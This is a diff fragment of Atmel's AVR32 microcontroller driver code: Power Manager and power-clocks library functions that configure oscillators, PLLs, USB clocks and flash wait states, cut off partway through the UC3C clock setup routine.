extern void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value);
|
||||
|
||||
|
||||
/*! \brief Enable the clock of a module.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param module The module to clock (use one of the defines in the part-specific
|
||||
* header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the
|
||||
* clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks")
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
extern long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module);
|
||||
|
||||
/*! \brief Disable the clock of a module.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM)
|
||||
* \param module The module to shut down (use one of the defines in the part-specific
|
||||
* header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the
|
||||
* clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks")
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
extern long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module);
|
||||
|
||||
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks
|
||||
* according to the user wishes.
|
||||
*
|
||||
* This function needs some parameters stored in a pm_freq_param_t structure:
|
||||
* - cpu_f and pba_f are the wanted frequencies,
|
||||
* - osc0_f is the oscillator 0 on-board frequency (e.g. FOSC0),
|
||||
* - osc0_startup is the oscillator 0 startup time (e.g. OSC0_STARTUP).
|
||||
*
|
||||
* The function will then configure the clocks using the following rules:
|
||||
* - It first try to find a valid PLL frequency (the highest possible value to avoid jitter) in order
|
||||
* to satisfy the CPU frequency,
|
||||
* - It optimizes the configuration depending the various divide stages,
|
||||
* - Then, the PBA frequency is configured from the CPU freq.
|
||||
* - Note that HSB and PBB are configured with the same frequency as CPU.
|
||||
* - Note also that the number of wait states of the flash read accesses is automatically set-up depending
|
||||
* the CPU frequency. As a consequence, the application needs the FLASHC driver to compile.
|
||||
*
|
||||
* The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval PM_FREQ_STATUS_OK Mode successfully initialized.
|
||||
* \retval PM_FREQ_STATUS_FAIL The configuration can not be done.
|
||||
*/
|
||||
extern int pm_configure_clocks(pm_freq_param_t *param);
|
||||
|
||||
|
||||
/*! \brief Automatically configure the USB clock.
|
||||
*
|
||||
* USB clock is configured to 48MHz, using the PLL1 from the Oscillator0, assuming
|
||||
* a 12 MHz crystal is connected to it.
|
||||
*/
|
||||
extern void pm_configure_usb_clock(void);
|
||||
|
||||
|
||||
#endif // _PM_H_
|
|
@ -0,0 +1,266 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Power Manager clocks configuration helper.
|
||||
*
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include <string.h>
|
||||
#include "compiler.h"
|
||||
#include "pm.h"
|
||||
|
||||
extern void flashc_set_wait_state(unsigned int wait_state);
|
||||
#if (defined AVR32_FLASHC_210_H_INCLUDED)
|
||||
extern void flashc_issue_command(unsigned int command, int page_number);
|
||||
#endif
|
||||
|
||||
|
||||
#define PM_MAX_MUL ((1 << AVR32_PM_PLL0_PLLMUL_SIZE) - 1)
|
||||
|
||||
|
||||
int pm_configure_clocks(pm_freq_param_t *param)
|
||||
{
|
||||
// Supported frequencies:
|
||||
// Fosc0 mul div PLL div2_en cpu_f pba_f Comment
|
||||
// 12 15 1 192 1 12 12
|
||||
// 12 9 3 40 1 20 20 PLL out of spec
|
||||
// 12 15 1 192 1 24 12
|
||||
// 12 9 1 120 1 30 15
|
||||
// 12 9 3 40 0 40 20 PLL out of spec
|
||||
// 12 15 1 192 1 48 12
|
||||
// 12 15 1 192 1 48 24
|
||||
// 12 8 1 108 1 54 27
|
||||
// 12 9 1 120 1 60 15
|
||||
// 12 9 1 120 1 60 30
|
||||
// 12 10 1 132 1 66 16.5
|
||||
//
|
||||
unsigned long in_cpu_f = param->cpu_f;
|
||||
unsigned long in_osc0_f = param->osc0_f;
|
||||
unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0;
|
||||
unsigned long pll_freq, rest;
|
||||
Bool b_div2_pba, b_div2_cpu;
|
||||
|
||||
// Switch to external Oscillator 0
|
||||
pm_switch_to_osc0(&AVR32_PM, in_osc0_f, param->osc0_startup);
|
||||
|
||||
// Start with CPU freq config
|
||||
if (in_cpu_f == in_osc0_f)
|
||||
{
|
||||
param->cpu_f = in_osc0_f;
|
||||
param->pba_f = in_osc0_f;
|
||||
return PM_FREQ_STATUS_OK;
|
||||
}
|
||||
else if (in_cpu_f < in_osc0_f)
|
||||
{
|
||||
// TBD
|
||||
}
|
||||
|
||||
rest = in_cpu_f % in_osc0_f;
|
||||
|
||||
for (div = 1; div < 32; div++)
|
||||
{
|
||||
if ((div * rest) % in_osc0_f == 0)
|
||||
break;
|
||||
}
|
||||
if (div == 32)
|
||||
return PM_FREQ_STATUS_FAIL;
|
||||
|
||||
mul = (in_cpu_f * div) / in_osc0_f;
|
||||
|
||||
if (mul > PM_MAX_MUL)
|
||||
return PM_FREQ_STATUS_FAIL;
|
||||
|
||||
// export 2power from PLL div to div2_cpu
|
||||
while (!(div % 2))
|
||||
{
|
||||
div /= 2;
|
||||
div2_cpu++;
|
||||
}
|
||||
|
||||
// Here we know the mul and div parameter of the PLL config.
|
||||
// . Check out if the PLL has a valid in_cpu_f.
|
||||
// . Try to have for the PLL frequency (VCO output) the highest possible value
|
||||
// to reduce jitter.
|
||||
while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ)
|
||||
{
|
||||
if (2 * mul > PM_MAX_MUL)
|
||||
break;
|
||||
mul *= 2;
|
||||
div2_cpu++;
|
||||
}
|
||||
|
||||
if (div2_cpu != 0)
|
||||
{
|
||||
div2_cpu--;
|
||||
div2_en = 1;
|
||||
}
|
||||
|
||||
pll_freq = in_osc0_f * mul / (div * (1 << div2_en));
|
||||
|
||||
// Update real CPU Frequency
|
||||
param->cpu_f = pll_freq / (1 << div2_cpu);
|
||||
mul--;
|
||||
|
||||
pm_pll_setup(&AVR32_PM
|
||||
, 0 // pll
|
||||
, mul // mul
|
||||
, div // div
|
||||
, 0 // osc
|
||||
, 16 // lockcount
|
||||
);
|
||||
|
||||
pm_pll_set_option(&AVR32_PM
|
||||
, 0 // pll
|
||||
// PLL clock is lower than 160MHz: need to set pllopt.
|
||||
, (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0 // pll_freq
|
||||
, div2_en // pll_div2
|
||||
, 0 // pll_wbwdisable
|
||||
);
|
||||
|
||||
rest = pll_freq;
|
||||
while (rest > AVR32_PM_PBA_MAX_FREQ ||
|
||||
rest != param->pba_f)
|
||||
{
|
||||
div2_pba++;
|
||||
rest = pll_freq / (1 << div2_pba);
|
||||
if (rest < param->pba_f)
|
||||
break;
|
||||
}
|
||||
|
||||
// Update real PBA Frequency
|
||||
param->pba_f = pll_freq / (1 << div2_pba);
|
||||
|
||||
// Enable PLL0
|
||||
pm_pll_enable(&AVR32_PM, 0);
|
||||
|
||||
// Wait for PLL0 locked
|
||||
pm_wait_for_pll0_locked(&AVR32_PM);
|
||||
|
||||
if (div2_cpu)
|
||||
{
|
||||
b_div2_cpu = TRUE;
|
||||
div2_cpu--;
|
||||
}
|
||||
else
|
||||
b_div2_cpu = FALSE;
|
||||
|
||||
if (div2_pba)
|
||||
{
|
||||
b_div2_pba = TRUE;
|
||||
div2_pba--;
|
||||
}
|
||||
else
|
||||
b_div2_pba = FALSE;
|
||||
|
||||
pm_cksel(&AVR32_PM
|
||||
, b_div2_pba, div2_pba // PBA
|
||||
, b_div2_cpu, div2_cpu // PBB
|
||||
, b_div2_cpu, div2_cpu // HSB
|
||||
);
|
||||
|
||||
if (param->cpu_f > AVR32_FLASHC_FWS_0_MAX_FREQ)
|
||||
{
|
||||
flashc_set_wait_state(1);
|
||||
#if (defined AVR32_FLASHC_210_H_INCLUDED)
|
||||
if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ)
|
||||
flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1);
|
||||
else
|
||||
flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
flashc_set_wait_state(0);
|
||||
#if (defined AVR32_FLASHC_210_H_INCLUDED)
|
||||
if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ)
|
||||
flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1);
|
||||
else
|
||||
flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1);
|
||||
#endif
|
||||
}
|
||||
|
||||
pm_switch_to_clock(&AVR32_PM, AVR32_PM_MCCTRL_MCSEL_PLL0);
|
||||
|
||||
return PM_FREQ_STATUS_OK;
|
||||
}
|
||||
|
||||
|
||||
void pm_configure_usb_clock(void)
|
||||
{
|
||||
#if UC3A3
|
||||
|
||||
// Setup USB GCLK.
|
||||
pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc
|
||||
0, // osc_or_pll: use Osc (if 0) or PLL (if 1)
|
||||
0, // pll_osc: select Osc0/PLL0 or Osc1/PLL1
|
||||
0, // diven
|
||||
0); // div
|
||||
|
||||
// Enable USB GCLK.
|
||||
pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB);
|
||||
#else
|
||||
// Use 12MHz from OSC0 and generate 96 MHz
|
||||
pm_pll_setup(&AVR32_PM, 1, // pll.
|
||||
7, // mul.
|
||||
1, // div.
|
||||
0, // osc.
|
||||
16); // lockcount.
|
||||
|
||||
pm_pll_set_option(&AVR32_PM, 1, // pll.
|
||||
1, // pll_freq: choose the range 80-180MHz.
|
||||
1, // pll_div2.
|
||||
0); // pll_wbwdisable.
|
||||
|
||||
// start PLL1 and wait forl lock
|
||||
pm_pll_enable(&AVR32_PM, 1);
|
||||
|
||||
// Wait for PLL1 locked.
|
||||
pm_wait_for_pll1_locked(&AVR32_PM);
|
||||
|
||||
pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc.
|
||||
1, // osc_or_pll: use Osc (if 0) or PLL (if 1).
|
||||
1, // pll_osc: select Osc0/PLL0 or Osc1/PLL1.
|
||||
0, // diven.
|
||||
0); // div.
|
||||
pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB);
|
||||
#endif
|
||||
}
|
|
@ -0,0 +1,575 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief High-level library abstracting features such as oscillators/pll/dfll
|
||||
* configuration, clock configuration, System-sensible parameters
|
||||
* configuration, buses clocks configuration, sleep mode, reset.
|
||||
*
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
#include "power_clocks_lib.h"
|
||||
|
||||
|
||||
//! Device-specific data
|
||||
#if UC3L
|
||||
static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param); // FORWARD declaration
|
||||
#endif
|
||||
|
||||
#if UC3C
|
||||
static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param); // FORWARD declaration
|
||||
#endif
|
||||
|
||||
long int pcl_configure_clocks(pcl_freq_param_t *param)
|
||||
{
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
return(pm_configure_clocks(param));
|
||||
#else
|
||||
#if (defined AVR32_PM_410_H_INCLUDED ) || (defined AVR32_PM_412_H_INCLUDED )
|
||||
// Implementation for UC3C parts.
|
||||
return(pcl_configure_clocks_uc3c(param));
|
||||
#else
|
||||
// Implementation for UC3L parts.
|
||||
return(pcl_configure_clocks_uc3l(param));
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
//! Device-specific implementation
|
||||
#if UC3L
|
||||
// FORWARD declaration
|
||||
static long int pcl_configure_synchronous_clocks( pm_clk_src_t main_clk_src,
|
||||
unsigned long main_clock_freq_hz,
|
||||
pcl_freq_param_t *param);
|
||||
|
||||
long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param)
|
||||
{
|
||||
// Supported main clock sources: PCL_MC_RCSYS
|
||||
|
||||
// Supported synchronous clocks frequencies if RCSYS is the main clock source:
|
||||
// 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz.
|
||||
|
||||
// NOTE: by default, this implementation doesn't perform thorough checks on the
|
||||
// input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that fCPU >= fPBx
|
||||
if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that the target frequencies are reachable.
|
||||
if((param->cpu_f > SCIF_SLOWCLOCK_FREQ_HZ) || (param->pba_f > SCIF_SLOWCLOCK_FREQ_HZ)
|
||||
|| (param->pbb_f > SCIF_SLOWCLOCK_FREQ_HZ))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
return(pcl_configure_synchronous_clocks(PM_CLK_SRC_SLOW, SCIF_SLOWCLOCK_FREQ_HZ, param));
|
||||
}
|
||||
|
||||
|
||||
long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param)
|
||||
{
|
||||
// Supported main clock sources: PCL_MC_RC120M
|
||||
|
||||
// Supported synchronous clocks frequencies if RC120M is the main clock source:
|
||||
// 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz.
|
||||
|
||||
// NOTE: by default, this implementation doesn't perform thorough checks on the
|
||||
// input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that fCPU >= fPBx
|
||||
if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that the target frequencies are reachable.
|
||||
if((param->cpu_f > SCIF_RC120M_FREQ_HZ) || (param->pba_f > SCIF_RC120M_FREQ_HZ)
|
||||
|| (param->pbb_f > SCIF_RC120M_FREQ_HZ))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
// Start the 120MHz internal RCosc (RC120M) clock
|
||||
scif_start_rc120M();
|
||||
|
||||
return(pcl_configure_synchronous_clocks(PM_CLK_SRC_RC120M, SCIF_RC120M_FREQ_HZ, param));
|
||||
}
|
||||
|
||||
|
||||
long int pcl_configure_clocks_osc0(pcl_freq_param_t *param)
|
||||
{
|
||||
// Supported main clock sources: PCL_MC_OSC0
|
||||
|
||||
// Supported synchronous clocks frequencies if OSC0 is the main clock source:
|
||||
// (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example)
|
||||
// 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz.
|
||||
|
||||
// NOTE: by default, this implementation doesn't perform thorough checks on the
|
||||
// input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
|
||||
unsigned long main_clock_freq;
|
||||
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that fCPU >= fPBx
|
||||
if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
main_clock_freq = param->osc0_f;
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that the target frequencies are reachable.
|
||||
if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq)
|
||||
|| (param->pbb_f > main_clock_freq))
|
||||
return(-1);
|
||||
#endif
|
||||
// Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency.
|
||||
scif_configure_osc_crystalmode(SCIF_OSC0, main_clock_freq);
|
||||
// Enable the OSC0
|
||||
scif_enable_osc(SCIF_OSC0, param->osc0_startup, true);
|
||||
|
||||
return(pcl_configure_synchronous_clocks(PM_CLK_SRC_OSC0, main_clock_freq, param));
|
||||
}
|
||||
|
||||
|
||||
long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param)
|
||||
{
|
||||
// Supported main clock sources: PCL_MC_DFLL
|
||||
|
||||
// Supported synchronous clocks frequencies if DFLL is the main clock source:
|
||||
// (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example)
|
||||
// 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz.
|
||||
|
||||
// NOTE: by default, this implementation doesn't perform thorough checks on the
|
||||
// input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
|
||||
unsigned long main_clock_freq;
|
||||
scif_gclk_opt_t *pgc_dfllif_ref_opt;
|
||||
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that fCPU >= fPBx
|
||||
if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
main_clock_freq = param->dfll_f;
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that the target DFLL output frequency is in the correct range.
|
||||
if((main_clock_freq > SCIF_DFLL_MAXFREQ_HZ) || (main_clock_freq < SCIF_DFLL_MINFREQ_HZ))
|
||||
return(-1);
|
||||
// Verify that the target frequencies are reachable.
|
||||
if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq)
|
||||
|| (param->pbb_f > main_clock_freq))
|
||||
return(-1);
|
||||
#endif
|
||||
pgc_dfllif_ref_opt = (scif_gclk_opt_t *)param->pextra_params;
|
||||
// Implementation note: this implementation configures the DFLL in closed-loop
|
||||
// mode (because it gives the best accuracy) which enables the generic clock CLK_DFLLIF_REF
|
||||
// as a reference (RCSYS being used as the generic clock source, undivided).
|
||||
scif_dfll0_closedloop_configure_and_start(pgc_dfllif_ref_opt, main_clock_freq, TRUE);
|
||||
|
||||
return(pcl_configure_synchronous_clocks(PM_CLK_SRC_DFLL0, main_clock_freq, param));
|
||||
}
|
||||
|
||||
|
||||
static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param)
|
||||
{
|
||||
// Supported main clock sources: PCL_MC_RCSYS, PCL_MC_OSC0, PCL_MC_DFLL0, PCL_MC_RC120M
|
||||
|
||||
// Supported synchronous clocks frequencies if RCSYS is the main clock source:
|
||||
// 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz.
|
||||
|
||||
// Supported synchronous clocks frequencies if RC120M is the main clock source:
|
||||
// 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz.
|
||||
|
||||
// Supported synchronous clocks frequencies if OSC0 is the main clock source:
|
||||
// (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example)
|
||||
// 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz.
|
||||
|
||||
// Supported synchronous clocks frequencies if DFLL is the main clock source:
|
||||
// (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example)
|
||||
// 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz.
|
||||
|
||||
// NOTE: by default, this implementation doesn't perform thorough checks on the
|
||||
// input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
|
||||
|
||||
#ifdef AVR32SFW_INPUT_CHECK
|
||||
// Verify that fCPU >= fPBx
|
||||
if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f))
|
||||
return(-1);
|
||||
#endif
|
||||
|
||||
if(PCL_MC_RCSYS == param->main_clk_src)
|
||||
{
|
||||
return(pcl_configure_clocks_rcsys(param));
|
||||
}
|
||||
else if(PCL_MC_RC120M == param->main_clk_src)
|
||||
{
|
||||
return(pcl_configure_clocks_rc120m(param));
|
||||
}
|
||||
else if(PCL_MC_OSC0 == param->main_clk_src)
|
||||
{
|
||||
return(pcl_configure_clocks_osc0(param));
|
||||
}
|
||||
else // PCL_MC_DFLL0 == param->main_clk_src
|
||||
{
|
||||
return(pcl_configure_clocks_dfll0(param));
|
||||
}
|
||||
}
|
||||
|
||||
static long int pcl_configure_synchronous_clocks(pm_clk_src_t main_clk_src, unsigned long main_clock_freq_hz, pcl_freq_param_t *param)
|
||||
{
|
||||
//#
|
||||
//# Set the Synchronous clock division ratio for each clock domain
|
||||
//#
|
||||
pm_set_all_cksel(main_clock_freq_hz, param->cpu_f, param->pba_f, param->pbb_f);
|
||||
|
||||
//#
|
||||
//# Set the Flash wait state and the speed read mode (depending on the target CPU frequency).
|
||||
//#
|
||||
#if UC3L
|
||||
flashcdw_set_flash_waitstate_and_readmode(param->cpu_f);
|
||||
#elif UC3C
|
||||
flashc_set_flash_waitstate_and_readmode(param->cpu_f);
|
||||
#endif
|
||||
|
||||
|
||||
//#
|
||||
//# Switch the main clock source to the selected clock.
|
||||
//#
|
||||
pm_set_mclk_source(main_clk_src);
|
||||
|
||||
return PASS;
|
||||
}
|
||||
|
||||
#endif // UC3L device-specific implementation
|
||||
|
||||
//! UC3C Device-specific implementation
|
||||
#if UC3C
|
||||
static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param)
|
||||
{
|
||||
#define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1)
|
||||
#define AVR32_PM_PBA_MAX_FREQ 66000000
|
||||
#define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000
|
||||
#define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000
|
||||
|
||||
// Implementation for UC3C parts.
|
||||
// Supported frequencies:
|
||||
// Fosc0 mul div PLL div2_en cpu_f pba_f Comment
|
||||
// 12 15 1 192 1 12 12
|
||||
// 12 9 3 40 1 20 20 PLL out of spec
|
||||
// 12 15 1 192 1 24 12
|
||||
// 12 9 1 120 1 30 15
|
||||
// 12 9 3 40 0 40 20 PLL out of spec
|
||||
// 12 15 1 192 1 48 12
|
||||
// 12 15 1 192 1 48 24
|
||||
// 12 8 1 108 1 54 27
|
||||
// 12 9 1 120 1 60 15
|
||||
// 12 9 1 120 1 60 30
|
||||
// 12 10 1 132 1 66 16.5
|
||||
//
|
||||
unsigned long in_cpu_f = param->cpu_f;
|
||||
unsigned long in_osc0_f = param->osc0_f;
|
||||
unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0;
|
||||
unsigned long pll_freq, rest;
|
||||
Bool b_div2_pba, b_div2_cpu;
|
||||
|
||||
// Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency.
|
||||
scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f);
|
||||
// Enable the OSC0
|
||||
scif_enable_osc(SCIF_OSC0, param->osc0_startup, true);
|
||||
// Set the main clock source as being OSC0.
|
||||
pm_set_mclk_source(PM_CLK_SRC_OSC0);
|
||||
|
||||
// Start with CPU freq config
|
||||
if (in_cpu_f == in_osc0_f)
|
||||
{
|
||||
param->cpu_f = in_osc0_f;
|
||||
param->pba_f = in_osc0_f;
|
||||
return PASS;
|
||||
}
|
||||
else if (in_cpu_f < in_osc0_f)
|
||||
{
|
||||
// TBD
|
||||
}
|
||||
|
||||
rest = in_cpu_f % in_osc0_f;
|
||||
|
||||
for (div = 1; div < 32; div++)
|
||||
{
|
||||
if ((div * rest) % in_osc0_f == 0)
|
||||
break;
|
||||
}
|
||||
if (div == 32)
|
||||
return FAIL;
|
||||
|
||||
mul = (in_cpu_f * div) / in_osc0_f;
|
||||
|
||||
if (mul > PM_MAX_MUL)
|
||||
return FAIL;
|
||||
|
||||
// export 2power from PLL div to div2_cpu
|
||||
while (!(div % 2))
|
||||
{
|
||||
div /= 2;
|
||||
div2_cpu++;
|
||||
}
|
||||
|
||||
// Here we know the mul and div parameter of the PLL config.
|
||||
// . Check out if the PLL has a valid in_cpu_f.
|
||||
// . Try to have for the PLL frequency (VCO output) the highest possible value
|
||||
// to reduce jitter.
|
||||
while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ)
|
||||
{
|
||||
if (2 * mul > PM_MAX_MUL)
|
||||
break;
|
||||
mul *= 2;
|
||||
div2_cpu++;
|
||||
}
|
||||
|
||||
if (div2_cpu != 0)
|
||||
{
|
||||
div2_cpu--;
|
||||
div2_en = 1;
|
||||
}
|
||||
|
||||
pll_freq = in_osc0_f * mul / (div * (1 << div2_en));
|
||||
|
||||
// Update real CPU Frequency
|
||||
param->cpu_f = pll_freq / (1 << div2_cpu);
|
||||
mul--;
|
||||
|
||||
scif_pll_opt_t opt;
|
||||
|
||||
opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1
|
||||
opt.lockcount = 16, // lockcount in main clock for the PLL wait lock
|
||||
